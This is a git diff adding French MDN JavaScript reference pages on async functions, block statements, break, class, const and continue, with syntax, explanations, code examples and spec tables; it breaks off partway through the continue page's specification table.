+<p>Lorsqu'on utilise <code>return toto;</code>, la valeur <code>toto</code> sera immédiatement renvoyée (sans lever d'exception, quel que soit le cas), tandis que <code>return await toto;</code> attendra la résolution de <code>toto</code> ou son échec et lèvera une exception si besoin <strong>avant de parvenir à renvoyer une valeur</strong>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.async_function")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+ <li><a href="http://innolitics.com/10x/javascript-decorators-for-promise-returning-functions/">Créer des décorateurs asynchrones en JavaScript (billet en anglais sur innolitics.com)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/bloc/index.html b/files/fr/web/javascript/reference/instructions/bloc/index.html
new file mode 100644
index 0000000000..5ea869f037
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/bloc/index.html
@@ -0,0 +1,148 @@
+---
+title: bloc
+slug: Web/JavaScript/Reference/Instructions/bloc
+tags:
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/block
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Une <strong>instruction de bloc</strong> est utilisée afin de grouper zéro ou plusieurs instructions. Le bloc est délimité par une paire d'accolades. On peut éventuellement « étiqueter » un bloc avec un label.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-block.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Instruction_de_bloc">Instruction de bloc</h3>
+
+<pre class="brush: js">{
+  <em><var>instruction_1</var></em>;
+  <em><var>instruction_2</var></em>;
+  ...
+  <em><var>instruction_n</var></em>;
+}
+</pre>
+
+<h3 id="Instruction_de_bloc_étiquetée">Instruction de bloc étiquetée</h3>
+
+<pre class="brush: js">// ou, avec une étiquette :
+label {
+  instruction_1;
+  instruction_2;
+  instruction_n;
+}
+</pre>
+
+<dl>
+ <dt><code>instruction_1</code>, <code>instruction_2</code>, <code>instruction_n</code></dt>
+ <dd>Les instructions qu'on souhaite regrouper au sein du bloc.</dd>
+ <dt><code>label</code> {{optional_inline}}</dt>
+ <dd>Une <a href="/fr/docs/Web/JavaScript/Reference/Instructions/label">étiquette</a> qui permet une identification visuelle de la cible d'une instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/break">break</a></code>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette instruction est le plus souvent utilisée avec les instructions de contrôle (ex. {{jsxref("Instructions/if...else")}}, {{jsxref("Instructions/for")}}, {{jsxref("Instructions/while")}}). On verra ainsi :</p>
+
+<pre class="brush: js">while (x &lt; 10) {
+  x++;
+}
+</pre>
+
+<p>On peut voir dans cet exemple que cette instruction se termine sans point-virgule.</p>
+
+<p>L'instruction de bloc est souvent appelée <strong>instruction composée (<em>compound statement</em>)</strong> dans d'autres langages. En effet, elle permet d'utiliser plusieurs instructions là où JavaScript n'attend qu'une instruction. C'est une pratique courante que de combiner plusieurs instructions grâce aux blocs. À l'opposé, on peut utiliser une {{jsxref("Instructions/vide","instruction vide","",1)}} pour ne rien faire là où JavaScript attend une instruction.</p>
+
+<h3 id="Gestion_des_portées">Gestion des portées</h3>
+
+<h4 id="Avec_var">Avec <code>var</code></h4>
+
+<p><strong>Important </strong>: Le bloc n'introduit <strong>aucune portée pour les variables déclarées avec <code>var</code></strong> ou pour <a href="/fr/docs/Web/JavaScript/Reference/Instructions/function">les déclarations de fonction</a>. Les variables introduites dans un bloc font partie de la portée de la fonction ou du script, elles persisteront donc en dehors du bloc. Autrement dit, aucune portée n'est introduite par les blocs. Bien qu'il soit tout à fait possible d'utiliser des blocs hors de tout contexte, il est fortement déconseillé de coder de cette façon. En effet, les blocs ne se comportent pas comme d'autres langages tels que C ou Java et il pourrait être surprenant de lire un tel code. Par exemple :</p>
+
+<pre class="brush: js example-bad">var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // affiche 2
+</pre>
+
+<p>Cela affiche 2 dans la console car l'instruction <code>var x</code> au sein du bloc partage la même portée que l'instruction <code>var x</code> précédente en dehors du bloc. Un code C ou Java équivalent aurait produit 1.</p>
+
+<h4 id="Avec_let_et_const">Avec <code>let</code> et <code>const</code></h4>
+
+<p>En revanche, les identifiants déclarés avec <code>let</code> et <code>const</code> appartiennent à la portée du bloc : </p>
+
+<pre class="brush: js">let x = 1;
+{
+  let x = 2;
+}
+console.log(x); // affiche 1
+</pre>
+
+<p>On voit ici que l'instruction <code>x = 2</code> est limitée à la portée du bloc dans laquelle elle est présente.</p>
+
+<p>On a le même résultat avec <code>const</code>.</p>
+
+<pre class="brush: js">const c = 1;
+{
+  const c = 2;
+}
+console.log(c); // affiche 1, il n'y a pas de SyntaxError
+</pre>
+
+<p>On notera que l'instruction <code>const c = 2</code> ne lève pas d'exception <code>SyntaxError</code> car on a une seule déclaration de <code>c</code> pour ce bloc.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-block', 'instruction de bloc')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-block', 'instruction de bloc')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.1', 'instruction de bloc')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.1', 'instruction de bloc')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.1', 'instruction de bloc')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.block")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/while", "while")}}</li>
+ <li>{{jsxref("Instructions/if...else", "if...else")}}</li>
+ <li>{{jsxref("Instructions/let", "let")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/break/index.html b/files/fr/web/javascript/reference/instructions/break/index.html
new file mode 100644
index 0000000000..bc3a1c12df
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/break/index.html
@@ -0,0 +1,156 @@
+---
+title: break
+slug: Web/JavaScript/Reference/Instructions/break
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/break
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>break</code></strong> permet de terminer la boucle en cours ou l'instruction {{jsxref("Instructions/switch", "switch")}} ou {{jsxref("Instructions/label", "label")}} en cours et de passer le contrôle du programme à l'instruction suivant l'instruction terminée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-break.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>break [label];</code></pre>
+
+<dl>
+ <dt><code>label</code> {{optional_inline}}</dt>
+ <dd>Un identifiant optionnel associé avec l'étiquette (<em>label</em>) de l'instruction. Si l'instruction à terminer n'est pas une boucle ou une instruction {{jsxref("Instructions/switch", "switch")}}, ce paramètre est nécessaire.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'instruction <code>break</code> peut être utilisée avec une étiquette (<em>label</em>) optionnelle qui permet d'interrompre une instruction étiquetée. L'instruction <code>break</code> doit être imbriquée au sein de l'instruction référencée. L'instruction étiquetée peut correspondre à n'importe quel instruction de {{jsxref("Instructions/bloc", "bloc","",1)}} ; il n'est pas nécessaire qu'elle soit précédée par une instruction de boucle.</p>
+
+<p>Une instruction <code>break</code>, suivie ou non d'une étiquette, ne peut pas être utilisée dans le corps d'une fonction appartenant elle-même à une boucle, à une instruction {{jsxref("Instructions/switch")}} ou à une instruction <code>label</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple_utilisant_break">Exemple simple utilisant <code>break</code></h3>
+
+<p>La fonction qui suit utilise une instruction <code>break</code> qui interrompt la boucle {{jsxref("Instructions/while", "while")}} lorsque <code>i</code> vaut 3, grâce à l'instruction qui suit, la fonction renvoie 3 * <code>x</code>.</p>
+
+<pre class="brush:js;highlight:[6];">function testBreak(x) {
+   var i = 0;
+
+   while (i &lt; 6) {
+      if (i == 3) {
+         break;
+      }
+      i += 1;
+   }
+   return i * x;
+}</pre>
+
+<h3 id="Utiliser_break_avec_les_labels">Utiliser <code>break</code> avec les labels</h3>
+
+<p>Dans le code suivant, on utilise les instructions <code>break</code> avec des blocs étiquetés. Une instruction <code>break</code> doit être présente à l'intérieur du bloc auquel elle fait référence. Ici, on voit que <code>bloc_interne</code> est compris dans <code>bloc_externe</code>.</p>
+
+<pre class="brush:js;highlight:[1,3,5];">bloc_externe: {
+
+  bloc_interne: {
+    console.log ('1');
+    break bloc_externe;  // interrompt bloc_externe ET bloc_interne
+    console.log (':-('); // ignoré
+  }
+
+  console.log ('2');     // ignoré
+}
+</pre>
+
+<p>Dans le code qui suit, on utilise également des instructions <code>break</code> avec des blocs étiquetés mais on obtient une exception <code>SyntaxError</code> car l'instruction <code>break</code> au sein de <code>bloc_1</code> référence <code>bloc_2</code>, or <code>bloc_1</code> n'est pas compris dans <code>bloc_2</code> :</p>
+
+<pre class="brush:js;highlight:[1,3,6];">bloc_1: {
+  console.log ('1');
+  break bloc_2;  // SyntaxError: label not found
+}
+
+bloc_2: {
+  console.log ('2');
+}
+</pre>
+
+<h3 id="Utiliser_break_dans_des_fonctions_imbriquées_dans_des_boucles">Utiliser <code>break</code> dans des fonctions imbriquées dans des boucles</h3>
+
+<p>Dans le cas d'une fonction imbriquée dans une boucle <code>while</code> :</p>
+
+<pre class="brush: js">function testBreak(x){
+  var i = 0;
+  while (i &lt; 6) {
+    if (i === 3) {
+      (function() {
+        break;
+      })();
+    }
+    i += 1;
+  }
+  return i * x;
+}
+
+testBreak(1); // SyntaxError: Illegal break statement</pre>
+
+<p>Dans le cas d'une fonction imbriquée dans une instruction <code>label</code> :</p>
+
+<pre class="brush: js">bloc_1: {
+  console.log('1');
+  (function() {
+    break bloc_1; // SyntaxError: Undefined label 'bloc_1'
+  })();
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Version non étiquetée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Version étiquetée ajoutée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.8', 'instruction break')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-break-statement', 'instruction break')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.break")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/continue", "continue")}}</li>
+ <li>{{jsxref("Instructions/label", "label")}}</li>
+ <li>{{jsxref("Instructions/switch", "switch")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/class/index.html b/files/fr/web/javascript/reference/instructions/class/index.html
new file mode 100644
index 0000000000..3fbbc7cb28
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/class/index.html
@@ -0,0 +1,114 @@
+---
+title: class
+slug: Web/JavaScript/Reference/Instructions/class
+tags:
+  - Classes
+  - ECMAScript 2015
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/class
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La <strong>déclaration class</strong> crée une nouvelle classe avec le nom fourni en utilisant l'héritage à base de prototypes pour émuler le fonctionnement de classe.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-class.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Il est aussi possible de définir une classe avec une {{jsxref("Opérateurs/class", "expression class","",1)}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">class <em>nom</em> [extends]{
+  // corps de la classe
+}
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Les déclarations qui composent le corps de la classe sont exécutées en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>. La propriété du constructeur est optionnelle.</p>
+
+<p>Les déclarations utilisées dans les classes ne sont pas remontées (<em>hoisted</em>) (à la différence des <a href="/fr/docs/Web/JavaScript/Reference/Instructions/function">déclarations de fonctions</a>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Déclarer_une_classe_simple">Déclarer une classe simple</h3>
+
+<p>Dans l'exemple qui suit, on définit une classe <code>Polygone</code> pour laquelle on crée un sous-classe <code>Carré</code>. On note ici que la méthode <code>super()</code> ne peut être utilisée qu'au sein d'un constructeur et doit être appelée avant l'utilisation du mot-clé <code>this</code>.</p>
+
+<pre class="brush: js">class Polygone {
+  constructor(hauteur, largeur) {
+    this.nom = 'Polygone';
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+}
+
+class Carré extends Polygone {
+  constructor(longueur) {
+    super(longueur,longueur);
+    this.nom = 'Carré';
+  }
+}
+</pre>
+
+<div class="warning">
+<p><strong>Attention :</strong> Déclarer une classe deux fois lèvera une exception <code>SyntaxError</code>. De même, on ne pourra pas réutiliser un nom qui a déjà été utilisé dans une expression de classe.</p>
+
+<pre class="brush: js">// Deux déclarations avec le même nom
+class Toto {};
+class Toto {}; // Uncaught SyntaxError: Identifier 'Toto' has already been declared
+
+// Expression puis déclaration
+var Truc = class {};
+class Truc {}; // Uncaught TypeError: Identifier 'Truc' has already been declared
+</pre>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'Définitions de classe')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Définitions de classe')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.class")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/function">Les déclarations <code>function</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/class">Les expressions <code>class</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Classes">Les classes</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/const/index.html b/files/fr/web/javascript/reference/instructions/const/index.html
new file mode 100644
index 0000000000..1431986d29
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/const/index.html
@@ -0,0 +1,144 @@
+---
+title: const
+slug: Web/JavaScript/Reference/Instructions/const
+tags:
+  - ECMAScript 2015
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/const
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La <strong>déclaration <code>const</code></strong> permet de créer une constante nommée accessible uniquement en lecture. Cela ne signifie pas que la valeur contenue est immuable, uniquement que l'identifiant ne peut pas être réaffecté. Autrement dit la valeur d'une constante ne peut pas être modifiée par des réaffectations ultérieures. Une constante ne peut pas être déclarée à nouveau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-const.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">const <var>nom1</var> = <var>valeur1</var> [, <var>nom2</var> = <var>valeur2</var> [, ... [, <var>nomN</var> = <var>valeurN</var>]]];</pre>
+
+<dl>
+ <dt><code>nomN</code></dt>
+ <dd>Le nom de la constante. Ce nom peut être n'importe quel identifiant valide.</dd>
+ <dt><code>valeurN</code></dt>
+ <dd>La valeur à associer à la constante. Cette valeur peut être n'importe quelle <a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#new">expression</a> valide (éventuellement <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_function">une expression de fonction</a>).</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette déclaration permet de créer une constante qui peut être globale ou locale pour la fonction dans laquelle elle a été déclarée. Les constantes font partie de la portée du bloc (comme les variables définies avec <code>let</code>). À la différence des variables définies avec <code>var</code>, les constantes déclarées au niveau global <strong>ne sont pas</strong> des propriétés de l'objet global ({{domxref("window")}} dans le cas du navigateur). Il est nécessaire d'initialiser une constante lors de sa déclaration. Au sein d'une même portée, il est impossible d'avoir une constante qui partage le même nom qu'une variable ou qu'une fonction.</p>
+
+<p>Attention, la déclaration <code>const</code> crée une référence en lecture seule vers une valeur. Cela ne signifie pas que la valeur référencée ne peut pas être modifiée ! Ainsi, si le contenu de la constante est un objet, l'objet lui-même pourra toujours être modifié.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les aspects liés à la <a href="/fr/docs/Web/JavaScript/Reference/Instructions/let#Zone_morte_temporaire_(Temporal_Dead_Zone_TDZ)_et_les_erreurs_liées_à_let">zone morte temporelle</a> de <code>let</code> s'appliquent également à <code>const</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les instructions suivantes illustrent comment fonctionne cette déclaration. On pourra tester ces instructions dans la console afin d'observer le comportement obtenu :</p>
+
+<pre class="brush:js">// On définit ma_fav comme une constante
+// et on lui affecte la valeur 7
+// Généralement, par convention, les
+// constantes sont en majuscules
+const MA_FAV = 7;
+
+// Cette réaffectation lèvera une exception TypeError
+MA_FAV = 20;
+
+// affichera 7
+console.log("mon nombre favori est : " + MA_FAV);
+
+// toute tentative de redéclaration renvoie une erreur
+// SyntaxError: Identifier 'MY_FAV' has already been declared
+const MA_FAV = 20;
+
+// le nom ma_fav est réservé par la constante ci-dessus
+// cette déclaration échouera donc également
+var MA_FAV = 20;
+
+// cela renvoie également une erreur
+let MA_FAV = 20;
+
+
+// On notera l'importance de la portée de bloc :
+if (MA_FAV === 7) {
+  // cela fonctionne sans problème et crée
+  // une nouvelle variable dans cette portée
+  let MA_FAV =  20;
+
+  // Ici, MA_FAV vaut 20
+  console.log("mon nombre préféré est " + MA_FAV);
+
+  // L'instruction suivante est remontée dans le
+  // contexte global et provoque une erreur !
+  var MA_FAV = 20;
+
+}
+
+// MA_FAV vaut toujours 7
+console.log("mon nombre favori est " + MA_FAV);
+
+// const nécessite une initialisation
+const TOTO; // SyntaxError: Missing initializer in const
+
+// const fonctionne également avec les objects
+const monObjet = {"clé": "valeur"};
+
+// Écraser l'objet échouera comme précédemment
+monObjet = {"autreClé": "valeur"};
+
+// En revanche, les clés d'un objet ne sont pas
+// protégés et on peut donc, de façon valide, avoir
+monObjet.clé = "autreValeur";
+// On utilisera Object.freeze() afin qu'un objet soit immuable
+
+// Il en va de même avec les tableaux
+const mon_tableau = [];
+// On peut ajouter des éléments au tableau
+mon_tableau.push("A"); // ["A"]
+// Mais on ne peut pas affecter une nouvelle valeur
+mon_tableau = ["B"]; // lève une exception
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Déclarations let et const')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Déclarations let et const')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.const")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/var","var")}}</li>
+ <li>{{jsxref("Instructions/let","let")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Valeurs,_variables,_et_littéraux#Constantes">Les constantes dans le guide JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/continue/index.html b/files/fr/web/javascript/reference/instructions/continue/index.html
new file mode 100644
index 0000000000..db9b22e973
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/continue/index.html
@@ -0,0 +1,163 @@
+---
+title: continue
+slug: Web/JavaScript/Reference/Instructions/continue
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/continue
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <code><strong>continue</strong></code> arrête l'exécution des instructions pour l'itération de la boucle courante ou de la boucle étiquetée. L'exécution est reprise à l'itération suivante.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-continue.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">continue [ <em><var>label</var></em> ];</pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Paramètre optionnel. Un identifiant associé à l'étiquette (<em>label</em>) de l'instruction pour laquelle on souhaite finir l'itération en cours.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Contrairement à {{jsxref("Instructions/break", "break")}}, <code>continue</code> ne termine pas la boucle complètement :</p>
+
+<ul>
+ <li>au sein d'une boucle {{jsxref("Instructions/while", "while")}}, elle repart à la phase de la condition.</li>
+</ul>
+
+<ul>
+ <li>au sein d'une boucle {{jsxref("Instructions/for", "for")}}, elle repart à l'expression de mise à jour de la boucle.</li>
+</ul>
+
+<p>L'instruction <code>continue</code> peut éventuellement contenir une étiquette (<em>label</em>) qui permet de tirer parti des instructions de boucles étiquetées (plutôt que de ne traiter que la boucle courante). Dans le cas où l'étiquette est utilisée, il faut que l'instruction <code>continue</code> soit imbriquée dans l'instruction étiquetée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_continue_avec_while">Utiliser <code>continue</code> avec <code>while</code></h3>
+
+<p>L'instruction suivante illustre comment on peut utiliser continue au sein d'une boucle {{jsxref("Instructions/while", "while")}}, ici <code>continue</code> est utilisé lorsque <code>i</code> vaut 3. On a donc <code>n</code> qui prend les valeurs 1, 3, 7, et 12.</p>
+
+<pre class="brush: js">var i = 0;
+var n = 0;
+while (i &lt; 5) {
+  i++;
+  if (i === 3) {
+    continue;
+  }
+  n += i;
+}
+</pre>
+
+<h3 id="Utiliser_continue_avec_une_étiquette">Utiliser <code>continue</code> avec une étiquette</h3>
+
+<p>Dans l'exemple suivant, on a une instruction étiquetée <code>vérifIetJ</code> qui contient une autre instruction étiquetée <code>vérifJ</code>. Si l'instruction <code>continue</code> est utilisée, le programme reprend l'exécution au début de l'instruction <code>vérifJ</code>. Chaque fois que <code>continue</code> utilisé, <code>vérifJ</code> réitère jusqu'à ce que sa condition renvoie <code>false</code>. Lorsque c'est le cas, le reste de l'instruction <code>vérifIetJ</code> est exécuté.</p>
+
+<p>Si <code>continue</code> utilisait l'étiquette <code>vérifIetJ</code>, le programme continuerait au début de l'instruction <code>vérifIetJ</code>.</p>
+
+<p>Voir aussi {{jsxref("Instructions/label", "label")}}.</p>
+
+<pre class="brush: js">var i = 0;
+var j = 8;
+
+vérifIetJ: while (i &lt; 4) {
+  console.log("i : " + i);
+  i += 1;
+
+  vérifJ: while (j &gt; 4) {
+    console.log("j : "+ j);
+    j -= 1;
+    if ((j % 2) == 0){
+      continue vérifJ;
+    }
+    console.log(j + " est impaire.");
+   }
+   console.log("i = " + i);
+   console.log("j = " + j);
+}
+</pre>
+
+<p>En utilisant le fragment ci-avant, on aura le résultat suivant :</p>
+
+<pre class="brush: js">"i : 0"
+
+// début de vérifJ
+"j : 8"
+"7 est impair"
+"j : 7"
+"j : 6"
+"5 est impair."
+"j : 5"
+// fin de vérifJ
+
+"i = 1"
+"j = 4"
+
+"i : 1"
+"i = 2"
+"j = 4"
+
+"i : 2"
+"i = 3"
+"j = 4"
+
+"i : 3"
+"i = 4"
+"j = 4"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Pas de version étiquetée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
